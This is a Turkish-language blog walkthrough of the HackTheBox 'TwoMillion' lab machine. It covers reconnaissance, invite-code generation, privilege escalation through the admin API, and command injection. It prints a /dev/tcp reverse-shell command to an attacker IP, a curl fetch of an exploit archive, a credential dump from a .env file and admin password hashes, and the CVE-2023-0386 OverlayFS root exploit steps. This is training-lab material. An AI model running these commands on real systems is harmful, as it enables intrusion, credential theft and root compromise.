İçindekiler Tablosu
Giriş
Bu yazımda sizlere HackTheBox üzerinden çözdüğüm TwoMillion makinesinin çözümünü kendi bakış açımla anlatacağım.
Öncelikle makineye dair saldırı yüzeyini (attack surface) çıkartmakla başlıyorum.
Keşif ve Bilgi Toplama
Hedef sisteme yönelik Nmap çıktısı:
# Nmap 7.92 scan initiated Sat Jan 18 14:58:30 2025 as: nmap -sV -sC -Pn -T4 --top-ports 1000 -oN TwoMillion_nmap_output.txt 10.10.11.221
Nmap scan report for 10.10.11.221
Host is up (0.41s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 18 14:59:27 2025 -- 1 IP address (1 host up) scanned in 57.21 seconds
80/TCP portunda çalışan bir nginx sunucusun olduğunu ve bir domain adresine yönlendirirken hata aldığını görüyorum (“|_http-title: Did not follow redirect to http://2million.htb/”). Bu sorun, ip adresinden domaini çözümleyemediği için ortaya çıkmakta. Çözümü için /etc/hosts
dosyasına hedef makine IP adresi ve domainini ekliyorum.
echo -e "10.10.11.221\t\t2million.htb" >> /etc/hosts
# -e parametresi, \t, \n gibi karakterleri etkinleştirir.
Ardından makinenin ip adresini veya domaini arattığımda web sitesi karşıma gelmekte.

Ardından site içerisinde biraz gezindikten sonra hangi subdomainler ve dizinler olduğunu keşfetmek için ilk olarak ffuf
taraması gerçekleştiriyorum. Herhangi bir subdomain keşfedemedikten sonra directory keşfi yapıyorum.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://2million.htb/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 162
________________________________________________
home [Status: 302, Size: 0, Words: 1, Lines: 1]
login [Status: 200, Size: 3704, Words: 1365, Lines: 81]
register [Status: 200, Size: 4527, Words: 1512, Lines: 95]
api [Status: 401, Size: 0, Words: 1, Lines: 1]
logout [Status: 302, Size: 0, Words: 1, Lines: 1]
404 [Status: 200, Size: 1674, Words: 118, Lines: 46]
0404 [Status: 200, Size: 1674, Words: 118, Lines: 46]
invite [Status: 200, Size: 3859, Words: 1363, Lines: 97]
Atak yüzeyi için öncelikli olarak inceleyeceğim alanları belirledim.
- 2million.htb/home (302, geçici olarak yönlendirme)
- 2million.htb/login (200, başarılı)
- 2million.htb/register (200, başarılı)
- 2million.htb/api (401, login işlemiyle görünebilir)
- 2million.htb/logout (200, başarılı)
- 2million.htb/404 (200, başarılı)
- 2million.htb/0404 (200, başarılı)
- 2million.htb/invite (200, başarılı)
Her bir dizini ve kaynak kodlarını detaylıca inceliyorum.
/register
dizininde, “Hacklemekten çekinmeyin :)” yazan bir ifade görüyorum.

Kaynak kodlarını incelediğimde aşağıdaki gibi bir js koduyla karşılaşıyorum ve /js/inviteapi.min.js
adlı bir dosyaya

Bu kısımdaki js kodunda, davet kodu doğrulaması yapıldığını görüyorum. Davet kodu girildiğinde bu AJAX
isteği olarak sunucuya gidiyor. Doğrulama başarılıysa /register
sayfasına yönlendiriyor.
Davet Kodu Oluşturma
Deobfuscation
Sayfaya eklenen gizli ve açık diğer js dosyalarına bakmak için Inspector dan Network kısmına bakınıyorum. Burada inviteapi.min.js
içerisinde eval-based obfuscation (eval tabanlı bir obsifikasyon) şeklinde obsifike edilmiş js kodu görüyorum.

Şimdi bu kodu deobsifike edelim. Eval tabanlı ve diğer js kodunu deobsifike etmek için de4js‘i önerebilirim.

inviteapi.min.js
Sonuç alt tarafta gösteriliyor. Hadi bunu biraz inceleyelim.
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}
Bu kod, davet kodu (invite code) doğrulama ve oluşturma işlevlerini gerçekleştiren iki JavaScript fonksiyonunu gibi görünüyor.
verifyInviteCode(code):
Kullanıcıdan alınancode
değişkeni bir JSON nesnesine atanarak,/api/v1/invite/verify
URL’sine birPOST
isteği gönderiyor. Daha sonra başarılı ya da başarısız olduğu konsola yazılıyor.makeInviteCode():
/api/v1/invite/how/to/generate
URL’sine birPOST
isteği yapılıyor. Daha sonra başarılı ya da başarısız olduğu konsola yazılıyor.
Invite Code kısmına yaptığım isteği inceleyelim. /api/v1/invite/verify
noktasına istekte bulunup mesaj gövdesindeki code=test girdisini kontrol ediyor gibi görünüyor.

Daha sonra bu kısma makeInviteCode()
fonksiyonunda geçen /api/v1/invite/how/to/generate
noktasına istek yaparak deneyeceğim.

Decrypt
“Veri şifrelenmiş … Muhtemelen şifresini çözmek için şifreleme türünü kontrol etmeliyiz…” diye bir ipucu belirtilmiş. Görünüşe göre data, ROT13 ile şifrelenmiş. Decrypt ettiğimde ise: “Davet kodunu oluşturmak için /api/v1/invite/generate adresine bir POST isteği gönderin” yazısını görüyorum.

/api/v1/invite/generate
adresi bir davet kodu oluşturmam için kullanabileceğim yer olsa gerek. Bu noktaya bir POST isteği gönderdiğimde, yine şifrelenmiş bir data görüyorum.

Data, Base64 gibi görünüyor. CyberChef ile decrypt işlemi yapıyorum ve invite code’a erişebiliyorum.

Görünüşe göre davet kodları api’den base64 şeklinde çekiliyor.
Davet kodu doğruysa /invite
sayfasındaki script kısmında yazdığı gibi beni /register
kısmına yönlendirmesi, yanlış ise de hata vermesi gerekir.
Register ve Login
Elimdeki bu davet kodunu http://2million.htb/invite adresine yazıyorum. ve beni /register
sayfasına yönlendiriyor.

Sayfada davet kodumuzun eklendiğini de gördükten sonra kayıt bilgilerini oluşturalım.

Kayıt başarılı bir şekilde oluşturulduktan sonra login işlemini yapıyorum ve Dashsboard sayfasına erişiyorum.

HackTheBox’ın ilk zamanlardaki teması gibi duruyor. Sayfaları kontrol ettikten sonra çalışan 2 yer olduğu kanısına varıyorum:
- /home/access
- /api (Bu kısım ffuf taramasında 401 sonucu olarak döndüğü için login sonrası başarılı şekilde çalışıyor.)
API Kontrolü
access
İlk olarak access kısmını BurpSuite ile inceleyerek başlıyorum ve Regenerate butonunun isteğini kontrol ediyorum.

Şimdi Generate butonunu kontrol edelim.

- Regenerate, /api/v1/user/vpn/regenerate kısmına istek gönderirken
- Generate, /api/v1/user/von/generate kısmına istek gönderiyor.
İki istekte de dönen cevaplarda .ovpn
dosyasında olması gereken içerikler yer alıyor.
API
ffuf taramasında 401 sonucu olarak dönen /api
kısmına login işlemi sonrası BurpSuite ile istekte bulunuyorum. Gelen cevapta /api/v1
uç noktası olduğunu görüyorum.

Yeni bir istek oluşturup /api/v1
uç noktasına istek gönderdiğimde ise user’a ait 10, admin’e ait 3 adet uç nokta olduğunu kullanılabilecek metotlarla birlikte görüyorum.

{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate":
"Instructions on invite code generation",
"/api/v1/invite/generate":
"Generate invite code",
"/api/v1/invite/verify":
"Verify invite code",
"/api/v1/user/auth":
"Check if user is authenticated",
"/api/v1/user/vpn/generate":
"Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate":
"Regenerate VPN configuration",
"/api/v1/user/vpn/download":
"Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Admin API İncelemesi
Admin kısmındaki 3 uç noktayı test etmem gerekiyor.
GET
İlk olarak /api/v1/admin/auth uç noktasını GET metoduyla inceliyorum ve hata mesajı alıyorum.

POST
Ardından diğer uç noktaya, /api/v1/admin/vpn/generate noktasına POST isteği gönderiyorum ve yönetici olmadığım için 401 durum kodu cevabı alıyorum.

PUT
Son olarak /api/v1/admin/settings/update noktasına PUT isteği gönderiyorum ve 200 durum koduyla birlikte “Content-Type” ın geçersiz olduğu cevabını alıyorum.

Bu durumu çözmek için istek başlığıma Content-Type başlığı eklemeliyim. Bunun için cevapta dönen Content-Type başlığını isteğime yapıştırıyorum.

Content-Type kısmını ekledikten sonra istek gönderdiğimde bu defa eksik bir parametre olarak e-posta girmem gerektiğini öğreniyorum.

E-posta adresimi girip tekrar bir istek gönderiyorum. Burada dikkat edilmesi gereken durum; e-posta adresinizi JSON formatında yazmalısınız. Bu kısım isteğin body kısmına yazılmalı.

Şimdi ise eksik parametre olarak is_admin
parametresini girmem gerektiğini öğreniyorum.

Böylelikle hesabıma admin yetkisi vermiş oluyorum. Bunu ispatlamak için aşağıdaki uç noktalara istek gönderiyorum.
1. /api/v1/user/auth

2. /api/v1/admin/auth

Şimdi User iken 401 hatası veren /api/v1/admin/vpn/generate
uç noktasına yeni admin yetkimle istekte bulunarak vpn anahtarı üretiyorum. Ancak username parametresi girmem gerektiğini öğreniyorum.

Parametreyi de girdikten sonra vpn anahtarı cevap olarak bana dönüyor.

Şuan özel bir vpn dosyası oluşturmuş oldum.
Injection
Aklıma ilk gelen Code Injection zafiyeti oluyor ve bir kaç deneme sonrasında kendi komutlarımı çalıştırabileceğimi fark ediyorum.

Reverse shell almak için bir bir dinleme noktası oluşturuyorum.
nc -lnvp 8888

reverse shell komutumu http body kısmına yerleştirdikten sonra isteği gönderiyorum.
sh -i >& /dev/tcp/10.10.16.47/9001 0>&1

Çok güzel! Artık bir shell’im var.

Öncelikle sistemi tanımak için uname -a
komutunu kullanıyorum. ve dizinde neler olduklarını ve hangi yetkide olduklarını görebilmek için ls -la
ile dizin listeliyorum.

.env
dosyaları veritabanı bağlantı bilgileri, API anahtarları gibi çoğunlukla hassas bilgiler barındırır. Bu nedenle ilk bakılması gereken yerler arasındadır.
Hatalı yapılandırma sonucu PHP
dosyaları zafiyet içerebileceğinden dolayı PHP dosyalarını incelemek uygulamanın işleyişini öğrenmek ve zafiyet aramak için bakılması gereken öncelikli diğer bir yerdir.
controllers
, uygulamanın iş mantığını içerirken; views
, çoğunlukla kullanıcıya sunulan içerikleri barındırır.
assets
, css
, js
, fonts
, images
dizinleri genellikle statik içerikler içerir. Direkt bir zafiyet bulma olasılığı düşüktür, ancak JavaScript dosyalarını incelemek bazen yararlı olabilir.
.env
dosyasının içeriğini incelediğimde içerisinde veritabanı bağlantı bilgileri olduğunu görüyorum.
cat .env

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Bu bilgilerle veritabanına bağlanmayı deniyorum ve başarılı bir şekilde bağlantı kurabiliyorum.

htb_prod
adında bir veritabanı olduğunu görüyorum. Bu veritabanını seçerek tabloları listelediğimde ise invite_codes
ve users
tablolarının olduğunu görüyorum.

Invite_codes
kısmında http://2million.htb/invite kısmına girdiğim davet kodunun olduğunu görüyorum. Şimdi sırada users
tablosu var.

Bu kısımda ise admin kullanıcılarının id
, username
, email
, password
ve is_admin
değerlerini görüyorum.
| id | username | email | password | is_admin |
|----|--------------|----------------------------|--------------------------------------------------------------|----------|
| 11 | TRX | [email protected] | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq | 1 |
| 12 | TheCyberGeek | [email protected] | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK | 1 |
| 13 | Wepliep | [email protected] | $2y$10$g3Ai/K.Si4GUG3OAieu03OYr1h7H9rYXN9/WYwA1LKfb8Bd355.A6 | 1 |
Buradaki bilgileri not edip kayda değer başka bir bilgi var mı diye bakındıktan sonra veritabanından çıkış yapıyorum.
Veritabanı kullanıcı bilgileriyle admin bilgilerinin aynı olup olmadığını merak edip deneme yapıyorum.

Admin kullanıcısına başarılı bir şekilde geçiş yaptım. Bu tahmin ettiğim gibi veritabanı parolasıyla admin parolasının aynı olmasından kaynaklanıyor.
Dizini listelediğimde user.txt
dosyasını görüyorum ve ilk flag bilgisine erişiyorum.

Bir ssh bağlantısı kurduktan sonra uname -a komutunu kullanarak sistem bilgilerine göz atıyorum. Sisteme girdiğimde ilk olarak bunu denedim. Linux Kernel 5.15.70 ile ilgili bir zafiyet varmı diye internette bakınırken dizinleri karıştırdım ve mail kısmındaki admin adlı bir dosya dikkatimi çekti. İçeriğini okuduğumda OverlayFS/FUSE
ile ilgili bir sorun olduğu anlatılıyor.

Biraz bilgi topladıktan sonra Linux Kernel 5.15.70 sürümünde CVE-2023-0386 numaralı OverlayFS zafiyeti olduğunu görüyorum.
CVE-2023-0386
OverlayFS, genellikle konteyner tabanlı sistemlerde ve canlı dosya sistemlerinde kullanılıyor. Dosya sistemi türü olarak düşünebilirsiniz. Bildiğiniz gibi birden fazla dosya sistemi katmanını birleştirerek çalışıyor. CVE-2023-0386 de bu dosya sisteminin hatalı işleyişinden kaynaklanır.
Bu zafiyet, “user namespace
” ile “overlayfs
” dosya sisteminin bir arada kullanıldığı durumlarda ortaya çıkıyor. Saldırgan, overlayfs üzerinden dosyaları manipüle ederek, aslında erişim iznine sahip olmadığı dosyalara erişim sağlayabiliyor. Hatta bu açığı kullanarak sistemdeki hassas dosyalara (örneğin /etc/shadow) erişebilir veya bunları değiştirebiliyor. Bu da saldırganın root yetkilerini ele geçirmesine olanak tanıyor.
Privilege Escalation
Exploiti git clone olarak çekiyorum. Ve ardından .tar.gz
olarak sıkıştırıyorum.
clone https://github.com/sxlmnwb/CVE-2023-0386.git
tar -czvf cve20230386.tar.gz CVE-2023-0386

ardından sıkıştırdığım dosyayı hedef sistemden çekmek için kendi makinemde bir http server açıyorum.
sudo python3 -m http.server 8888

Hedef makineden, kendi makinemde bulunan dosyayı /tmp
dizinindeyken curl ile çekiyorum.
curl http://10.10.16.47:8888/cve20230386.tar.gz -o cve cve20230386.tar.gz
Ardından hedef makine içerisine çektiğim sıkıştırılmış dosyayı .tar.gz
den çıkartıyorum.
tar -xf cve20230386.tar.gz

Dosyanın içerisine giriyorum ve make all
komutu ile bulunduğum dizindeki tüm dosyaları derliyorum.

Ardından ardından bir terminal daha açıyorum ve ssh ile admin kullanıcısına bağlantı kuruyorum. Elimizde 2 terminal olmuş olacak ve ikisi de admin@2million:/tmp/CVE-2023-0386 olmak üzere aynı dizinde olacak.
İlk terminalimizde exploiti başlatıp, ortamı sağlayıp başarılı olması halinde tetikleme işlemini yapabilmek için aşağıdaki komutu kullanacağım.
./fuse ./ovlcap/lower ./gc

Aynı dizinde bulunan 2. terminalden ise yetki yükseltmek için gerekli komutu yazacağım.
./exp

Ardından yetki yükseltme işlemi tamamlanmış ve sistem üzerinde root kullanıcı ayrıcalıklarına sahip olacağım.
Şimdi root.txt
içerisindeki flag değerimi kaydediyorum. Bu sırada thank_you.json
dosyası dikkatimi çekiyor incelediğimde şifreleme türüyle birlikte şifrelenmiş bir veri karşıma çıkıyor.

{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}
Her adımı tamamlayıp CyberChef kullanarak Decrypt işlemini gerçekleştirdikten sonra HackTheBox Tarafından yazılmış bir mesajla karşılaşıyorum.

Diğer yazılarıma ulaşmak için buraya tıklayabilir, merak ettiğiniz ve anlamadığınız kısımlar için bana ulaşabilirsiniz.
Leave a Comment